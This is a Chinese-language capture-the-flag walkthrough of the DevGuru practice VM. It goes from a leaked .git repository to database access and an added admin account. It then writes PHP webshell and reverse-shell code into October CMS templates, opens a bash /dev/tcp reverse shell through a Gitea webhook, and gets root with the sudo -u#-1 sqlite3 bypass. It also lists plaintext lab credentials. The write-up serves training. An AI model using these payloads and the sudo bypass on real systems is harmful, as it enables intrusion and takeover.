devguru

描述

DevGuru是一家虚构的Web开发公司,它聘请您进行渗透测试。您的任务是在他们的公司网站上查找漏洞并获得根。

就像OSCP一样〜现实生活为基础

难度:中级(取决于经验)

目录

一、信息搜集

1.nmap端口扫描:

2.dirsearch目录扫描:

二、漏洞探测&利用

1 . GitHack.py

2.登入cms后台

1)写入一句话木马。

2)或者反弹shell

3.获取gitea数据库密码

1)在github 找到加密方式(大佬方式)

2)在gethub上找到默认密码

4.shell(更高权限)

三、提权

四、总结


一、信息搜集

1.nmap端口扫描:

devguru

2.dirsearch目录扫描:

python3 dirsearch.py -u http://192.168.155.133/ -e php

devguru

http: //192.168.155.133:8585
http: //192.168.155.133/.git/
http: //192.168.155.133/adminer.php
http: //192.168.155.133/backend/backend/auth

二、漏洞探测&利用

1 . GitHack.py

查看数据库配置文件。/config/database.php

 'username' => 'october'

 'password' => 'SQ66EBYx4GT3byXH'

devguru

 

访问http: //192.168.155.133/adminer.php ,登入

devguru

 

新建一个用户,并提到管理员。

devguru

 

devguru

将aaa用户设置成管理员组

devguru

 

2.登入cms后台

账号密码:aaa/123456

http: //192.168.155.133/backend/backend/auth

devguru

然后查资料知道后台是可以自定义模板文件的,那就是说我们可以往里写入PHP代码。(低权限shell)

1)写入一句话木马。

devguru

写入代码:

function onStart(){
     //蚁剑连接
    eval($_REQUEST[999]);
    }

devguru

 

2)或者反弹shell

devguru

写入代码:

function onStart(){
//nc监听4444端口
    $s=fsockopen("192.168.155.134",4444);
    $proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
    }

 

ncat -lvp 4444

devguru

 

3.获取gitea数据库密码

gitea/UfFPTF8C8jjxVF2m

devguru

登入数据库后,查看表信息。

devguru

 

需要改个密码。

1)在github 找到加密方式(大佬方式)

https://github.com/go-gitea/gitea/blob/master/models/user.go

 

devguru

python脚本解密:

https://blog.csdn.net/qq_42486920/article/details/80836749

 

importhashlib
importbinascii

password=b"password"
salt=b"Bop8nwtUiM"
dk=hashlib.pbkdf2_hmac("sha256",password,salt,10000,dklen=50)
print(binascii.hexlify(dk))

得到:8c1081ea93e4803d6aa627fca52970b8bb06c35e7fa2c47e1eae3e4f5e6c9515dfaf13d62292547583aef0ee683f92e71c40

明文为:password

2)在gethub上找到默认密码

搜索加密关键词:passwd_hash_algo

devguru

 

devguru

 

devguru

 

4.shell(更高权限)

登入getea:http://192.168.155.133:8585/

账号密码:frank/password

devguru

devguru

 

bash -c "exec bash -i >& /dev/tcp/192.168.155.134/5555 0>&1"        

    

devguru

ncat -lvvp 5555

 

之后点击 README.md 添加点东西

devguru

 

devguru

 

三、提权

得到shell后,输入 sudo -l

使用 sqlite3 提权

并得到flag

devguru

 

https://gtfobins.github.io/ 上查询linux下关于sqlite3的提权漏洞

devguru

用户使用sudo时会要求输入密码,这个无解。

查看sudo版本,搜索 Sudo version 1.8.21p2

sudo -u#-1

devguru

 

sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

devguru

 

四、总结

  • GitHack.py 源码泄露  http: //192.168.155.133/.git/
  • 数据库后台查看用户密码被加密时,可修改已知为密码,注意盐值。或添加一个管理员账号。
  • OctoberCms 后台是可以自定义模板文件的,可以写入php代码。
  • getea 上代码提交后通过webhook 写shell
  • 查询linux下关于sqlite3的提权 https://gtfobins.github.io/
  • sudo低版本漏洞sudo -u#-1
  • sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
  • git源码泄露 => 找到数据库密码,登入 => 找到cms后台用户密码,改为已知密码 => 登入cms后台,写shell(低权限)=> gtea数据库配置备份文件泄露 => 连接gitea数据库,找到gitea的用户密码 => 登入gitea,写shell(更高权限) => 提权。

 

上一篇:基于Gitea搭建属于自己的Git服务


下一篇:IMEI、iccid、MDN、MSIN、IMSI